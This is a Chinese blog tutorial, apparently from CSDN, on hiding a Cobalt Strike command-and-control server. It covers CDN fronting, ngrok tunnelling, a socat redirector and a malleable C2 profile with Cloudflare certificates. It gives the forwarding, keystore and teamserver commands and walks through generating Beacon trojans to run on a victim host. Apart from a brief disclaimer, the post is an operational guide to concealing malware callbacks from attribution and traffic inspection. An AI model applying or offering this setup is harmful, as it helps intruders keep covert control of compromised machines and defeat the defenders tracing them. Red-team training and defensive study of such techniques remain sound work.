• CobalStrike(CS)上线隐藏IP和流量


    本文内容涉及技术原理仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。 因此造成的后果自行承担,与作者无关


    因此造成的后果自行承担,与作者无关)

    隐藏IP地址

    CDN接入(方法一)

    使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;
    最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!
    目标上线后流量走向
    在这里插入图片描述

    1. 开启一个listener
    NAME:随便填写
    Payload:选择Beacon http
    HTTP hosts:写入自己的域名
    HTTP host(Stager):写入自己的域名
    HTTP Port(C2):写入8880端口,可以访问到的都可以。
    HTTP header:写入自己的域名
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    1. 生成windows无阶段木马。
      在这里插入图片描述

    2. 选择刚刚创建的监听器,勾选USE 64。
      在这里插入图片描述

    3. 双击生成的木马文件Beacon.exe。
      在这里插入图片描述

    4. 目标上线CS。

    在这里插入图片描述

    1. 使用wireshark进行流量分析,可以看到IP不是之前的vps-ip,端口指向为8880。
      在这里插入图片描述
      观察流量信息会发现全程和CDN在做通信

    隧道转发代理(方法二)

    利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip。

    1. 注册ngrok账号。
      https://dashboard.ngrok.com/
    2. 下载安装包。
    3. 配置auth。
    ngrok config add-authtoken +授权令牌
    
    • 1

    在这里插入图片描述

    若失败的话可以尝试ngrok authtoken +授权令牌

    1. 转发端口
    ./ngrok tcp 10088
    
    • 1

    在这里插入图片描述
    其中0.tcp.ngrok.io是代理的域名,19493是localhost的10088端口的映射。

    1. CS配置listener。创建一个监听器。

    在这里插入图片描述

    name:随便起一个名字
    http hosts:设置为代理域名
    http host(stager):设置为代理域名
    http port:设置为本地映射的端口
    http port(bind):设置为本地端口
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 生成windows无阶段木马。
      在这里插入图片描述

    2. 选择ngrok监听器,生成木马文件后,点击运行,即可上线cs。
      在这里插入图片描述
      在这里插入图片描述

    3. 使用wireshark捕获流量进行分析,可以看到ip地址已经发生变化。
      在这里插入图片描述
      流量走向情况
      在这里插入图片描述

    转发重定向(方法三)

    在部署Cobalt Strike服务器时,我们可能需要前置代理服务器来帮助我们隐藏真实服务器,又或者是进行流量分离防止扫描或主动式的恶意软件探测服务器,再或者是根据目标的不同将其转发到不同的服务器上。
    在这里插入图片描述

    具体实现:两台vps 一台转发机器,一台teamserver

    socat转发
    常用选项
    lh将主机名添加到日志消息
    v详细数据流量,文本
    x详细数据流量,十六进制
    d增加详细程度(最多使用4次;建议使用2次)
    lf <logfile>记录到文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    socat TCP4-LISTEN:80,fork TCP4:C2ip:80

    1. socat代理转发端口。
    socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2服务器ip:C2服务器监听Port
    
    • 1

    在这里插入图片描述解释:将此机器10811端口接受到的流量转发给1.15.132.67:10010。

    如果报错没有socat的话

    sudo apt-get update
    apt install socat
    
    • 1
    • 2

    在这里插入图片描述
    2. 配置监听器

    在这里插入图片描述

    1. 生成windows无阶段木马,勾选64。
      在这里插入图片描述
    2. 在目标机器上线木马。
      将后门文件放到受害主机中运行后,可以看到此时受害机上只能看到上线CS的外部地址为跳板机IP,而不是团队服务器的真实IP。

    隐藏CS流量

    下载地址

    https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
    
    • 1
    1. keystore的生成方法:
      去https://dash.cloudflare.com/的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。
      在这里插入图片描述在这里插入图片描述

    2. 复制证书创建txt导入,修改文件名为xxxx.pem
      复制私钥创建txt导入,修改文件名为xxxx.key。
      在这里插入图片描述

    3. 将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)。

    openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456
    
    • 1
    keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
    
    • 1

    例如:

    openssl pkcs12 -export -in www.zsyyme.info.pem -inkey www.zsyyme.info.key -out www.zsyyme.info.p12 -namewww.zsyyme.info -passout pass:123456
    
    • 1

    在这里插入图片描述

    keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.zsyyme.innfo.storesrckeystore www.zsyyme.info.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.zsyyme.info
    
    • 1

    在这里插入图片描述

    1. 生成的keystore文件将该文件放在云服务器CS的根目录下。
      在这里插入图片描述

    2. 然后将keystore文件名称和密码填入profile文件中。
      对4.4版本Profile进行修改。需要修改的内容主要有七处。
      一个是https-certificate模块中的keystore和password,修改后把注释去掉。
      在这里插入图片描述

    3. 另外三处为http-stager、http-get、http-post模块中的Host和Referer。带注释的不算
      在这里插入图片描述

    4. 剩余三处为Profile中的响应头配置,其中的header “Content-Type” "application/javascript;修改为:header “Content-Type” "application/*;带注释的不算
      在这里插入图片描述

    5. 在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。如图。
      在这里插入图片描述

    修改CDN配置

    在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。

    1. 在缓存的配置中开启开发者模式。
      在这里插入图片描述
    2. 在规则的页面规则中添加缓存级别为绕过。在这里插入图片描述

    测试上线

    1. 启动cs,设置配置为修改好的profile。
    ./teamserver 服务器IP pass jquery-c2.4.4.profile
    
    • 1

    在这里插入图片描述

    1. 配置监听器。
      在这里插入图片描述

    2. 选择监听器。
      在这里插入图片描述

    3. 运行生成的木马即可上线CS。

    4. 上线后Wireshark捕捉到get数据包分析IP。

  • 相关阅读:
    决策式AI与生成式AI
    ubuntu非源码安装 openCV
    【ACM】前言(1)
    人工智能数学基础--概率与统计7:学习中一些术语的称呼或表示变化说明以及独立事件的一些补充推论
    python之判断是否是目录或文件
    腾讯云数据安全中台保护方案获“首届全国商用密码应用优秀案例”
    【linux命令讲解大全】098.网络文件传输协议介绍及常用命令
    java基础19
    LeetCode 33.搜索旋转排序数组
    OneNote 教程,如何在 OneNote 中做笔记?
  • 原文地址:https://blog.csdn.net/qq_61503377/article/details/126162455